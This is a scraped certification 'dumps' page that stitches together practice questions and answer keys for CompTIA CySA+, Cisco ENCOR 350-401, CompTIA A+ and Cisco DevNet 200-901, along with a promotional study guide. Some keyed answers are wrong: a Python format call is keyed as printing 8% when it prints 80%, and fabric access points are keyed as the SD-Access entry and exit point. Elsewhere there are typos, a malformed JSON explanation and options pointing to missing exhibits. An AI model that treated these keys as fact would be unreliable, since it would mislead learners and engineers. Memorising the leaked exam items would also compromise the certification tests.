A zero-day command injection vulnerability was published. A security administrator is analyzing the following logs for evidence of adversaries attempting to exploit the vulnerability:

comptia cs0-003 exam materials questions 9

Which of the following log entries provides evidence of the attempted exploit?

A. Log entry 1

B. Log entry 2

C. Log entry 3

D. Log entry 4

Correct Answer: A

NEW QUESTION 10:

During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?

A. Clone the virtual server for forensic analysis

B. Log in to the affected server and begin analysis of the logs

C. Restore from the last-known-good backup to confirm there was no loss of connectivity

D. Shut down the affected server immediately

Correct Answer: A

Analysis and explanation

The first action that the analyst should take in this case is to clone the virtual server for forensic analysis. Cloning the
virtual server involves creating an exact” state at a specific point in time. Cloning the virtual server can help preserve
and protect any evidence or information related to the security incident, as well as prevent any tampering,
contamination, or destruction of evidence. Cloning the virtual server can also allow the analyst to safely analyze and
investigate the incident without affecting the original server or its operations.

NEW QUESTION 11:

Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. Lessons learned

B. Service-level agreement

C. Playbook

D. Affected hosts

E. Risk score

F. Education plan

Correct Answer: DE

Analysis and explanation

A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames,
operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity
and potential impact of the vulnerability on the host and the organization. Official https://www.first.org/cvss/

NEW QUESTION 12:

Which of the following is the best way to begin preparation for a report titled “What We Learned” regarding a recent incident involving a cybersecurity breach?

A. Determine the sophistication of the audience that the report is meant for

B. Include references and sources of information on the first page

C. Include a table of contents outlining the entire report

D. Decide on the color scheme that will effectively communicate the metrics

Correct Answer: A

Analysis and explanation

The best way to begin preparation” regarding a recent incident involving a cybersecurity breach is to determine the
sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of
technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience
can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report
for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers.

Free Download	PDF
https://drive.google.com/file/d/1f01Dsq90sf2IVR0fpQGCfcSrW9wy6fdP/view?usp=sharing	12

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April 25, 2024 by admin CompTIA CompTIA CySA+ cs0-003 cs0-003 certification cs0-003 exam cs0-003 exam materials cs0-003 exam questions cs0-003 exam questions and answers cs0-003 free exam materials cs0-003 practice questions

Newly updated 350-401 dumps can help candidates get better

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Read the free 350-401 dumps exam questions and answers online:

From	Number of exam questions	Associated certification	Update time
leads4pass	15	CCNP Enterprise, CCDA …	June 20, 2023

New Question 1:

Refer to the exhibit. Which configuration enables OSPF for area 0 interfaces to establish adjacency with a neighboring router with the same VRF?

ip vrf CCNP

rd 1:1 interface Ethernet1

ip vrf forwarding CCNP

ip address 10.1.1.1 255.255.255.252! interface Ethernet2

ip vrf forwarding CCNP

ip address 10.2.2.2 255.2555.255.252

A. router ospf 1 vrf CCNP network 10.1.1.1 0.0.0.0 area 0 network 10.2.2.2 0.0.0.0 area 0

B. router ospf 1 interface Ethernet1 ip ospf 1 area 0.0.0.0 interface Ethernet2 ip ospf 1 area 0.0.0.0

C. router ospf 1 vrf CCNP interface Ethernet1 ip ospf 1 area 0.0.0.0 interface Ethernet2 ip ospf 1 area 0.0.0.0

D. router ospf 1 vrf CCNP network 10.0.0.0 0.0.255.255 area 0

Correct Answer: A

New Question 2:

Refer to the exhibit.

Running the script causes the output in the exhibit. What should be the first line of the script?

A. from client import manager

B. import manager

C. from client import *

D. client manager import

Correct Answer: A

https://ncclient.readthedocs.io/en/latest/

Multiple examples are shown using “from client import manager” and then using manager. connect

New Question 3:

Refer to the exhibit.

A network engineer must be notified when a user switches to configuration mode. Which script should be applied to receive an SNMP trap and a critical-level log message?

A. Option A

B. Option B

C. Option C

D. Option D

Correct Answer: D

New Question 4:

The Gig0/0 interface of two routers is directly connected with a 1G Ethernet link. Which configuration must be applied to the interface of both routers to establish an OSPF adjacency without maintaining a DR/BDR relationship?

A. Option A

B. Option B

C. Option C

D. Option D

Correct Answer: B

New Question 5:

How does Cisco TrustSec enable more flexible access controls for dynamic networking environments and data centers?

A. uses flexible NetFlow

B. assigns a VLAN to the endpoint

C. classifies traffic based on advanced application recognition

D. classifies traffic based on the contextual identity of the endpoint rather than its IP address

Correct Answer: D

The Cisco TrustSec solution simplifies the provisioning and management of network access control through the use of software-defined segmentation to classify network traffic and enforce policies for more flexible access controls. Traffic classification is based on endpoint identity, not IP address, enabling policy change without network redesign.

Reference: https://www.cisco.com/c/dam/en/us/products/collateral/security/identity-services-engine/at_a_glance_c45-726831.pdf

New Question 6:

Refer to the exhibit. An engineer must configure static NAT on R1 to allow users HTTP access to the web server on TCP port 80. The web server must be reachable through ISP 1 and ISP 2. Which command set should be applied to R1 to fulfill these requirements?

A. ip nat inside source static tcp 10.1.1.100 80 209.165.200.225 80 extendable ip nat inside source static tcp 10.1.1.100 80 209.165.201.1 80 extendable

B. ip nat inside source static tcp 10.1.1.100 80 209.165.200.225 80 ip nat inside source static tcp 10.1.1.100 80 209.165.201.1 80

C. ip nat inside source static tcp 10.1.1.100 80 209.165.200.225 80 ip nat inside source static tcp 10.1.1.100 8080 209.165.201.1 8080

D. ip nat inside source static tcp 10.1.1.100 80 209.165.200.225 80 no-alias ip nat inside source static tcp 10.1.1.100 80 209.165.201.1 80 no-alias

Correct Answer: A

the “extendable” keyword should be added if the same Inside Local is mapped to different Inside Global Addresses (the IP address of an inside host as it appears to the outside network). An example of this case is when you have two connections to the Internet on two ISPs for redundancy. So you will need to map two Inside Global IP addresses into one inside local IP address.

New Question 7:

CORRECT TEXT

BGP connectivity exists between Headquarters and both remote sites; however, Remote Site 1 cannot communicate with Remote Site 2. Configure BGP according to the topology to goals:

Configure R1 and R3 under the BGP process to provide reachability between Remote Site 1 and Remote Site 2. No configuration changes are permitted on R2.

Ensure that the /32 networks at Remote Site 1 and Remote Site 2 can ping each other.

A. See the solution below in Explanation-

B. Place Holder

C. Place Holder

D. Place Holder

Correct Answer: A

Solution:

On R1:

R1(config)#router bgp 123

R1(config-router)#address-family ipv4

R1(config-router-af)#neighbor 10.0.0.2 allowas-in

On R3:

R3(config)#router bgp 123

R3(config-router)# address-family ipv4

R3(config-router-af)#neighbor 192.168.1.2 allowas-in VERIFICATION:

R3#sh ip route bgp

Gateway of last resort is not set

1.0.0.0/32 is subnetted, 1 subnets

B 1.1.1.1 [20/0] via 192.168.1.2, 00:01:17

2.0.0.0/32 is subnetted, 1 subnets

B 2.2.2.2 [20/0] via 192.168.1.2, 00:05:06

10.0.0.0/24 is subnetted, 1 subnets

B 10.0.0.0 [20/0] via 192.168.1.2, 00:01:17

Test Ping from R3 to R1:

R3#ping 1.1.1.1

Type escape sequence to abort.

Sending 5, 100-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:

!!!!!

R3#ping 1.1.1.1 source lo0

Type escape sequence to abort.

Sending 5, 100-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:

Packet sent with a source address of 3.3.3.3

!!!!!

Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms

New Question 8:

Which method displays text directly into the active console with a synchronous EEM applet policy?

A. event manager applet boom event syslog pattern \’UP\’ action 1.0 gets \’logging directly to console\’

B. event manager applet boom event syslog pattern \’UP\’ action 1.0 syslog priority direct msg \’log directly to console\’

C. event manager applet boom event syslog pattern \’UP\’ action 1.0 puts \’logging directly to console\’

D. event manager applet boom event syslog pattern \’UP\’ action 1.0 string \’logging directly to console\’

Correct Answer: C

“Writing Input to the Active Console When a synchronous policy is triggered, the related console is stored in the publish information specification. The policy director will query this information in an event_reqinfo call, and store the given console information for use by the action puts command.

The action puts command will write the string to the active console. A new line will be displayed unless the nonewline keyword is specified. The output from the action puts a command for a synchronous applet is displayed directly to the console, bypassing the system logger. The output of the action puts command for an asynchronous applet is directed to the system logger.”

https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/eem/configuration/xe-3s/eem-xe-3s-book/eem-policy-cli.html

New Question 9:

Which network devices secure API platform?

A. next-generation intrusion detection systems

B. Layer 3 transit network devices

C. content switches

D. web application firewalls

Correct Answer: D

New Question 10:

Refer to the exhibit.

An engineer must configure and validate a CoPP policy that allows the network management server to monitor router R1 via SNMP while protecting the control plane. Which two commands or command sets must be used? (Choose two.)

A. access-list 150 permit udp 10.0.1.4 0.0.0.0 host 10.0.1.2 eq snmp access-list 150 permit udp 10.0.1.4 0.0.0.0 eq snmp host 10.0.1.2 class-map match-all CoPP-management match access-group 150 policy-map CoPP-policy

class CoPP-management

police 8000 conform-action transmit exceed-action transmit

violate-action drop

control-plane

Service-policy input CoPP-policy

B. show ip interface brief

C. show quality-of-service-profile

D. access-list 150 permit udp 10.0.1.4 0.0.0.0 host 10.0.1.2 eq snmp class-map match-all CoPP-management match access-group 150 policy-map CoPP-policy class CoPP-management police 8000 conform-action transmit exceed-action transmit violate-action transmit control-plane Service-policy input CoPP-policy

E. show policy-map control-plane

Correct Answer: DE

A option has this ACL 150: access-list 150 permit udp 10.0.1.4 0.0.0.0 host 10.0.1.2 eq snmp access-list 150 permit udp 10.0.1.4 0.0.0.0 eq snmp host 10.0.1.2 But D option only: access-list 150 permit udp 10.0.1.4 0.0.0.0 host 10.0.1.2 eq snmp A option has a violation-action drop, but D option has a violation-action transmit the SNMP traffic will be never dropped

New Question 11:

In a Cisco SD-Access wireless network, which device is used as an entry and exit point in and out of the fabric?

A. fabric edge node

B. control plane node

C. fabric border node

D. fabric access points

Correct Answer: D

New Question 12:

In a Cisco VXLAN based network, which of the following best describes the main function of a VXLAN Tunnel Endpoint (VTEP)?

A. A device that performs VXLAN encapsulation and decapsulation.

B. It is a 24 bit segment ID that defines the broadcast domain.

C. It is the Logical interface where the encapsulation and de-encapsulation occurs.

D. It is a device that performs tunneling using GRE.

Correct Answer: A

VTEP (Virtual Tunnel Endpoint) – This is the device that does the encapsulation and de-encapsulation. reference:https://www.cisco.com/c/en/us/support/docs/switches/nexus-9000-series-switches/118978-config-vxlan-00.html

New Question 13:

Refer to the exhibit. Which JSON syntax is derived from this data?

A. {[{\’First Name\’: \’Johnny\’, \’Last Name\’: \’Table\’, \’Hobbies\’: [\’Running\’, \’Video games\’]}, {\’First Name\’: \’Billy\’, \’Last Name\’: \’Smith\’, \’Hobbies\’: [\’Napping\’, \’Reading\’]}]}

B. {\’Person\’: [{\’First Name\’: \’Johnny\’, \’Last Name\’: \’Table\’, \’Hobbies\’: \’Running\’, \’Video games\’}, {\’First Name\’: \’Billy\’, \’Last Name\’: \’Smith\’, \’Hobbies\’: \’Napping\’, \’Reading\’}]}

C. {[{\’First Name\’: \’Johnny\’, \’Last Name\’: \’Table\’, \’Hobbies\’: \’Running\’, \’Hobbies\’: \’Video games\’}, {\’First Name\’: \’Billy\’, \’Last Name\’: \’Smith\’, \’Hobbies\’: \’Napping\’, \’Reading\’}]}

D. {\’Person\’: [{\’First Name\’: \’Johnny\’, \’Last Name\’: \’Table\’, \’Hobbies\’: [\’Running\’, \’Video games\’]}, {\’First Name\’: \’Billy\’, \’Last Name\’: \’Smith\’, \’Hobbies\’: [\’Napping\’, \’Reading\’]}]}

Correct Answer: D

{

‘Person’:

[

{

‘First Name’: ‘Johnny’,

‘Last Name’: ‘Table’,

‘Hobbies’: [‘Running’, ‘Video games’]

{

‘First Name’: ‘Billy’,

‘Last Name’: ‘Smith’,

‘Hobbies’: [‘Napping’, ‘Reading’]

}

]

}

New Question 14:

Refer to the exhibit.

Why does OSPF fail to establish an adjacency between R1 and R2?

A. authentication mismatch

B. interface MTU mismatch

C. area mismatch

D. timers mismatch

Correct Answer: B

New Question 15:

What does the statement print(format(0.8, \’.0%\’)) display?

A. 80%

B. 8%

C. .08%

D. 8.8%

Correct Answer: B

…

Number of exam questions	Exam name	From	Release time	Previous issue
13	Implementing and Operating Cisco Enterprise Network Core Technologies (ENCOR)	leads4pass	Nov 10, 2022	Oct 08, 2022

QUESTION 1:

Which configuration creates a CoPP policy that provides unlimited SSH access from dient 10.0.0.5 and denies access from all other SSH clients\’?

A. Option A
B. Option B
C. Option C
D. Option D

Correct Answer: B

QUESTION 2:

Which two methods are used to reduce the AP coverage area? (Choose two.)

A. Increase minimum mandatory data rate

B. Reduce AP transmit power

C. Disable 2.4 GHz and use only 5 GHz.

D. Enable Fastlane.

E. Reduce channel width from 40 MHz to 20 MHz

Correct Answer: AB

QUESTION 3:

Refer to the exhibit.

What are two results of the NAT configuration? (Choose two.)

A. Packets with a destination of 200.1.1.1 are translated to 10.1.1.1 or .2. respectively.
B. A packet that is sent to 200.1.1.1 from 10.1.1.1 is translated to 209.165.201.1 on R1.
C. R1 looks at the destination IP address of packets entering S0/0 and destined for inside hosts.
D. R1 processes packets entering E0/0 and S0/0 by examining the source IP address.
E. R1 is performing NAT for inside addresses and outside address.

Correct Answer: BC

QUESTION 4:

Which A record type should be configured for access points to resolve the IP address of a wireless LAN controller using DNS?

A. CISCO.CONTROLLER.localdomain
B. CISCO.CAPWAP.CONTROLLER.localdomain
C. CISCO-CONTROLLER.localdomain
D. CISCO-CAPWAP-CONTROLLER.localdomain

Correct Answer: D

QUESTION 5:

DRAG DROP

Drag and drop the snippets onto the blanks within the code construct a script that configure a loopback interface with an IP address (not all options are used)?

Select and Place:

Correct Answer:

QUESTION 6:

Which entity is responsible for maintaining Layer 2 isolation between segments In a VXLAN environment?

A. switch fabric
B. VTEP
C. VNID
D. host switch

Correct Answer: C

VXLAN uses an 8-byte VXLAN header that consists of a 24-bit VNID and a few reserved bits. The VXLAN
header together with the original Ethernet frame goes in the UDP payload. The 24-bit VNID is used to
identify Layer 2 segments and to maintain Layer 2 isolation between the segments.

Reference: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/vxlan/
configuration/guide/b_Cisco_Nexus_9000_Series_NX- OS_VXLAN_Configuration_Guide_7x/
b_Cisco_Nexus_9000_Series_NX- OS_VXLAN_Configuration_Guide_7x_chapter_010.html

QUESTION 7:

How is Layer 3 roaming accomplished in a unified wireless deployment?

A. An EoIP tunnel is created between the client and the anchor controller to provide seamless connectivity as the client is associated with the new AP.

B. The client entry on the original controller is passed to the database on the new controller.

C. The new controller assigns an IP address from the new subnet to the client

D. The client database on the original controller is updated the anchor entry, and the new controller database is updated with the foreign entry.

Correct Answer: D

QUESTION 8:

What is one primary REST security design principle?

A. fail-safe defaults
B. password hash
C. adding a timestamp in requests
D. OAuth

Correct Answer: A

QUESTION 9:

Refer to the exhibit.

Which configuration change will force BR2 to reach 209 165 201 0/27 via BR1?

A. Set the weight attribute to 65.535 on BR1 toward PE1.
B. Set the local preference to 150 on PE1 toward BR1 outbound
C. Set the MED to 1 on PE2 toward BR2 outbound.
D. Set the origin to igp on BR2 toward PE2 inbound.

Correct Answer: C

QUESTION 10:

An engineer must protect the password for the VTY lines against over-the-shoulder attacks. Which configuration should be applied?

A. service password-ncryption
B. username netadmin secret 9 $9$vFpMf8elb4RVV8$seZ/bDA
C. username netadmin secret 7$1$42J36k33008Pyh4QzwXyZ4
D. line vty 0 15 p3ssword XD822j

Correct Answer: A

QUESTION 11:

An engineer is connected to a Cisco router through a Telnet session. Which command must be issued to view the logging messages from the current session as soon as they are generated by the router?

A. logging buffer
B. service timestamps log uptime
C. logging host
D. terminal monitor

Correct Answer: D

QUESTION 12:

DRAG DROP

Drag and drop the DHCP messages that are exchanged between a client and an AP into the order they are exchanged on the right.

Select and Place:

Correct Answer:

There are four messages sent between the DHCP Client and DHCP Server: DHCPDISCOVER, DHCPOFFER,
DHCPREQUEST and DHCPACKNOWLEDGEMENT. This process is often abbreviated as DORA (for Discover, Offer, Request, Acknowledgement).

QUESTION 13:

A server running Linux is providing support for virtual machines along with DNS and DHCP services for a small business. Which technology does this represent?

A. container
B. Type 1 hypervisor
C. hardware pass-thru
D. Type 2 hypervisor

Correct Answer: D

In contrast to type 1 hypervisor, a type 2 hypervisor (or hosted hypervisor) runs on top of an operating system and not the physical hardware directly. A big advantage of Type 2 hypervisors is that management console software is not required. Examples of type 2 hypervisor are VMware Workstation (which can run on Windows, Mac and Linux) or Microsoft Virtual PC (only runs on Windows).

…

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CompTIA A+ Best Exam Method: Latest 220-1101 dumps

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From	Number of exam questions	Associated certification	Online Download	Last update
leads4pass	15	A+,CySA+ …	220-1101 PDF	220-1101 dumps

New Question 1:

A user reports a cell phone is getting hot. Which of the following is MOST likely to be possible causes? (Select THREE).

A. Using the device as a Wi-Fi hotspot

B. A cracked screen

C. A failing battery

D. Less than 15% free storage space on the phone

E. Privileged control

F. Recurring prompts to install OS updates

G. Granting too many application camera permissions

H. Too many open applications

Correct Answer: ACH

New Question 2:

A hardware technician is configuring a laptop, and the network administrator requires the network settings to be static. The technician successfully pings the servers by IP address but cannot ping the UNC path. Which of the following is the cause of this issue?

A. Domain Name System

B. Gateway

C. Subnet

D. IP address

Correct Answer: A

New Question 3:

New memory modules were installed in several Windows desktops but some users are still reporting performance issues. Upon investigation, a systems administrator notices the desktop has not recognized the new memory modules. Which of the following should the systems administrator perform to help resolve this issue?

A. Configure appropriate settings within the BIOS

B. Replace the RAM

C. Modify the boot. ini file.

D. Install the required drivers through the Control Panel

Correct Answer: A

New Question 4:

A technician recently discovered me root cause of an application error that several users have been experiencing. The technician updated the configurations on the affected machines and verified full functionality was restored for all users, which of the following actions should the technician perform NEXT?

A. Write a knowledge base article in the ticketing software to expedite future Incidents.

B. Submit a bug report to the developer of the application, along with the steps taken to resolve the issue.

C. Work with the developer to proactively collect the application logs to identify future errors of this type.

D. Send an email communication to the company about the issue and the steps taken to resolve it.

Correct Answer: A

CompTIA 6-Step Troubleshooting Process:

Identify the problem.

Establish a theory of probable cause. (Question the obvious)

Test the theory to determine the cause.

Establish a plan of action to resolve the problem and implement the solution.

Verify full system functionality and if applicable implement preventative measures.

Document findings, actions, and outcomes.

New Question 5:

A user submits a help desk ticket regarding a smartphone that will no longer accept its charging cable. The assigned technician notices the phone does not have a protective case, and the user constantly transports the phone in a pocket. The technician attempts to use a secondary charger, but the cable falls out of the phone. Which of the following is the MOST likely cause of the issue?

A. The phone requires a firmware update to address charging issues.

B. The charge port contains foreign objects, such as lint.

C. The phone\’s battery has swelled, preventing the utilization of the charge port.

D. The phone has experienced water damage, thus the battery is not charging.

Correct Answer: B

New Question 6:

A user creates a support ticket to report a conference room projector that does not work. The user says that even though the provided cables are being used, the projector screen shows the following error message:

No signal input

Which of the following describes the FIRST action that should be taken?

A. Verify that the projector is turned on.

B. Verify that the user is using an approved OS.

C. Replace the projector bulb.

D. Check the video cable and replace it if necessary.

Correct Answer: D

The most common reason you may be seeing the “No Signal” message is: The projector and the source device are not connected correctly.

New Question 7:

A customer\’s laptop display has suddenly become very dim. The image of the display can only be seen with a bright, external light, as adjusting the brightness/contracts controls does not cause much change.

Which of the following components MOST likely needs to be replaced?

A. LCD panel

B. Inverter

C. Video card

D. Digitizer

Correct Answer: B

New Question 8:

A user reports issues with a smartphone after dropping it. The icons on the screen all look normal, but when the user touches the email icon, for example, nothing happens. Which of the following is MOST likely the cause?

A. Digitizer issues

B. Overheating

C. Broken screen

D. Malware

Correct Answer: A

New Question 9:

A technician is dispatched to troubleshoot a slow performance issue on a PC. Upon arrival, the technician immediately opens Task Manager and sees that CPU and RAM performance are within normal ranges. The technician then checks and verifies the speed and duplex settings and performance on the network card. The technician then temporarily disables the antivirus to see if performance is affected, and it is not. After re-enabling the antivirus, which of the following is the NEXT best stop for the technician to take?

A. Check to see if insufficient hard drive space is causing the issue

B. Update the operating system, drivers, and firmware on the PC

C. Log into the PC with another user profile and test the performance

D. Shut down the PC, unplug the power for 30 seconds, and then boot the PC

Correct Answer: A

New Question 10:

A user accidentally spills liquid on a laptop. The user wants the device to be fixed and would like to know how much it will cost. Which of the following steps should the technician take NEXT to verify if the device is repairable before committing to a price? (Choose two.)

A. Remove the case and organize the parts.

B. Document the screw locations.

C. Search the Internet for repair tutorials.

D. Consult colleagues for advice.

E. Place the device in rice for a few days.

Correct Answer: AB

New Question 11:

A systems administrator receives a notification from the RAID controller that the RAID 5 array is degraded. Upon logging into the server, the administrator sees that on local disk 0, physical disk 2 has failed. Which of the following is the BEST course of action to take to resolve the problem?

A. Schedule system downtime and replace physical disk 2. Wait until the array is rebuilt and confirm in the RAID controller that the system is no longer degraded.

B. Immediately replace the physical disk 2. Wait until the arrays are rebuilt and confirm in the RAID controller that the system is no longer degraded.

C. Delete logical disk 0 and manually configure a new RAID array only using the known- good working drives. Wait until the array is rebuilt and confirm in the RAID controller that the system is no longer degraded.

D. In the controller, convert the RAID 5 array to RAID 0 array to avoid system downtime. Wait until the array is rebuilt and confirm in the RAID controller that the system is no longer degraded.

Correct Answer: A

New Question 12:

Which of the following cloud computing concepts provides the ability to scale services as needed to accommodate changes?

A. Measured service

B. On-demand

C. Rapid elasticity

D. Resource pooling

Correct Answer: C

Reference: https://www.techopedia.com/definition/29526/rapid-elasticity

New Question 13:

A technician is setting up a new desktop computer and will be installing the hard drive directly on the motherboard without using cables to connect it. Which of the following will the technician be installing?

A. Thunderbolt

B. eSATA

C. M.2

D. SCSI

Correct Answer: C

New Question 14:

An end user wants to have a second monitor installed on a laptop. Which of the following would allow a technician to configure the laptop to show both screens once the cable is connected?

A. Plug an external monitor into the USB port.

B. Use the Fn and function key combination

C. Adjust the monitor display settings.

D. Enable DisplayPort.

Correct Answer: C

New Question 15:

A remote user called the help desk to report a notification indicating there is limited or no connectivity. The user can access local file folders and other local machines but none of the organization\’s servers or network items. Web pages do not appear to function either. Which of the following is the MOST likely cause of the issue?

A. The user\’s internet connection is down.

B. The user\’s domain account is locked out.

C. The user\’s switch has stopped working.

D. The user\’s IP address needs to be renewed.

Correct Answer: D

…

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Everything Important About the CCDA 200-901 Certification Exam

Summarize all important things about the CCDA (Cisco Certified DevNet Associate) 200-901 certification exam: 200-901 DEVASC certification value, exam plan, learning method, career planning, industry salary…

Whether you want to enter this industry or work hard for the next upgrade, you should clearly know all the relevant information of 200-901 certification, which will be explained one by one below:

CCDA 200-901 DEVASC Certification Value
CCDA 200-901 Exam Focus
Develop a 200-901 Study Plan
CCDA 200-901 practice questions online experience
Salary & jobs
Summarize

CCDA 200-901 DEVASC Certification Value

The CCDA 200-901 DEVASC certification holds significant value in the IT industry. It validates your skills in network automation, software development, and infrastructure programmability. This certification is highly relevant in today’s technology landscape and opens up a range of career opportunities. It enhances your professional credibility, as it is recognized by Cisco, a leading networking company. Additionally, it connects you with a community of professionals passionate about network automation and programmability, providing opportunities for learning and collaboration. Overall, the CCDA 200-901 DEVASC certification is valuable for professionals looking to excel in the field of network automation and programmability.

CCDA 200-901 Exam Focus

The CCDA 200-901 exam focuses on evaluating your knowledge and skills in network automation, software development, and infrastructure programmability. It covers topics such as software development and design, understanding and using APIs, infrastructure and automation, network fundamentals, security fundamentals, and network programmability. The exam assesses your understanding of concepts related to network automation, programming interfaces, network infrastructure, security, and software development. By passing the exam, you demonstrate your proficiency in these areas, which are crucial in today’s evolving IT landscape.

200-901 Study Plan

Creating a study plan for the CCDA 200-901 exam is essential to effective preparation. Here are some of the most effective ways:

Gather Study Materials: Collect relevant study materials, such as textbooks, online courses, practice exams, and official Cisco resources. Utilize a mix of resources to cover all the exam topics comprehensively.

Create a Study Schedule: Design a study schedule that suits your needs and allows for regular and consistent study sessions. Allocate dedicated time slots for each exam topic and adhere to the schedule.

Learn and Practice Concepts: Start studying the exam topics one by one. Understand the concepts, theories, and best practices related to network automation, software development, and infrastructure programmability. Practice coding exercises, API interactions, and network automation scenarios.

Hands-on Lab Practice: Set up a lab environment to gain practical experience. Practice working with network devices, APIs, programming languages, and automation tools. Implement and troubleshoot network automation scenarios to reinforce your understanding.

Review and Reinforce: Regularly review the topics you have covered to reinforce your knowledge. Use flashcards, summaries, and review questions to aid in retention. Identify weak areas and focus additional study efforts on those topics.

Take Practice Exams: Utilize practice exams to assess your readiness and identify areas for improvement. Simulate the exam environment and time yourself to gauge your performance. Analyze the questions you answered incorrectly to fill knowledge gaps.

Engage in Discussion and Collaboration: Join study groups or online forums where you can engage in discussions with fellow exam takers. Share knowledge, clarify doubts, and learn from others’ experiences. Collaboration can enhance your understanding and provide valuable insights.

Exam Day Preparation: Prioritize a good night’s sleep before the exam day. Review key concepts and exam strategies. Double-check your exam logistics, such as location and required identification. Arrive early and approach the exam with confidence.

Remember to adjust the study plan according to your learning style and preferences. Stay motivated, maintain a positive mindset, and track your progress throughout the study journey.

CCDA 200-901 practice questions online experience

From	Number of exam questions	Exam code	Exam name	Last updated
leads4pass.com	13	200-901	Developing Applications and Automating Workflows using Cisco Platforms (DEVASC)	200-901 dumps

QUESTION 1:

Which platform is used to programmatically create space and invite users for collaboration?

A. Cisco Intersight

B. Cisco Finesse

C. Cisco Webex

D. Cisco UCM

Correct Answer: C

QUESTION 2:

Which Cisco platform is used to manage data center infrastructure through third-party tools and system integrations?

A. Cisco DNA Center

B. Cisco UCS Manager

C. Cisco Intersight

D. Cisco UCS Director

Correct Answer: C

“Cisco Intersight infrastructure services include the deployment, monitoring, management, and support of your physical and virtual infrastructure…In addition, Cisco provides integrations to third-party operations tools, starting with ServiceNow, to allow customers to use their existing solutions more efficiently.”

Reference: https://intersight.com/help/saas/getting_started/overview

QUESTION 3:

How are load balancers used in modern application deployments?

A. Turn off traffic and take down compute units, then update and bring the compute units back up.

B. Allow traffic to continue as new compute units are brought up and old compute units are taken down.

C. Allow HTTP and HTTPS traffic to continue as old compute units are discontinued before new units are brought up.

D. Bring up new compute units, test the compute units, and switch the traffic from old units to new units.

Correct Answer: B

From DEVASC training:

Applications need to be available 24 hours every day. A successful web application should be able to handle ingress traffic even when the number of users drastically rises and be able to support any amount of traffic.

For example, if your web page loads in a couple of seconds with 100,000 users a month, it should be able to load within the same time even with double or triple the amount of users.

QUESTION 4:

What are the two key capabilities of Cisco Finesse? (Choose two.)

A. Agents access Finesse from a browser without needing to install or configure anything on the client machine.

B. An OpenDNS utility is preconfigured and ready to use on Finesse.

C. Gadget containers provide a seamless experience in a single-user interface.

D. Finesse automatically collects telemetry data.

E. Finesse includes an RPC API that enables the development of custom gadgets.

Correct Answer: AC

QUESTION 5:

What is the benefit of version control?

A. prevents two users from working on the same file

B. keeps track of all changes to the files

C. prevents the sharing of files

D. keeps the list of data types used in the files

Correct Answer: B

https://www.atlassian.com/git/tutorials/what-is-version-control#:~:text=non%2Dsoftware%20projects.-,Benefits%20of%2
0version%20control%20systems,scales%20to%20include%20more%20developers.

QUESTION 6:

A developer is working on a new feature in a branch named \’newfeat123456789\’ and the current working primary branch is named \’prim987654321\’. The developer requires a merge commit during a fast-forward merge for record-keeping purposes. Which Git command must be used?

A. git merge –no-ff newfeat123456789

B. git commit –no-ff newfeat123456789

C. git add –commit-ff newfeat123456789

D. git reset –commit-ff newfeat123456789

Correct Answer: A

In the event that you require a merge commit during a fast-forward merge for record-keeping purposes, you can execute git merge with the –no-ff option.

This command merges the specified branch into the current branch but always generates a merge commit (even if it was a fast-forward merge). This is useful for documenting all merges that occur in your repository.

Source: https://www.atlassian.com/git/tutorials/using-branches/git-merge

QUESTION 7:

Refer to the exhibit. A developer cannot reach the web application behind an NGINX load balancer. The developer sends a request to an application FQDN with cURL but gets an HTTP 502 response. Which action solves the problem?

latest CCDA 200-901 practice questions 7

A. Fix errors in the server configuration, which is behind the load balancer.

B. Bring up the load balancer to the active state.

C. Fix errors in the cURL request sent by the client.

D. Change the default gateway on the load balancer to an active one.

Correct Answer: A

The HyperText Transfer Protocol (HTTP) 502 Bad Gateway server error response code indicates that the server while acting as a gateway or proxy, received an invalid response from the upstream server.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/502#:~:text=The%20HyperText%20Transfer%20Protocol%20(HTTP,response%20from%20the%20upstream%20server

QUESTION 8:

DRAG DROP Refer to the exhibit.

latest CCDA 200-901 practice questions 8

Drag and drop the code snippets from the bottom onto the blanks in the code to construct a request to find the Cisco DNA Center switch count. Not all options are used.

Select and Place:

latest CCDA 200-901 practice questions 8-1

Correct Answer:

latest CCDA 200-901 practice questions 8-2

QUESTION 9:

Why is refactoring done during test-driven development?

A. to enable larger objects and longer methods

B. to improve maintainability and readability

C. to ensure that the previous uses of the objects are explained

D. to ensure the duplication of essential code

Correct Answer: B

QUESTION 10:

DRAG DROP

Drag and drop the types of management from the left onto the levels at which they are performed on the right.

Select and Place:

latest CCDA 200-901 practice questions 10

Correct Answer:

latest CCDA 200-901 practice questions 10-1

QUESTION 11:

Refer to the exhibits.

latest CCDA 200-901 practice questions 11

latest CCDA 200-901 practice questions 11-1

The Python interpreter and the Cisco Python SDK are available by default in the Cisco NX-OS Software. The SDK documentation shows how the clid() API can be used when working with JSON and XML. What are the two effects of running the script? (Choose two.)

A. configure interface loopback 5

B. show details for the TABLE interface

C. issue shutdown on interface loopback 5

D. show only the interfaces in the up status

E. show only the interfaces in admin shut status

Correct Answer: AD

Reference:
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/programmability/guide/
b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide_7x/Python_API.html

QUESTION 12:

FILL BLANK

Fill in the blanks to complete the cURL command that invokes a RESTful API to retrieve a resource in JSON format using OAuth.

curl –X _ -H “ ___: application/json” \
-H “ _: Bearer AbCdEf123456” https://localhost/api/myresource

latest CCDA 200-901 practice questions 12

A. Check the answer in the explanation.

Correct Answer: A

GET Accept Authorization

latest CCDA 200-901 practice questions 12-1

Reference: https://webcache.googleusercontent.com/search?q=cache:Se6d2trvMsEJ

https://blogs.cisco.com/developer/
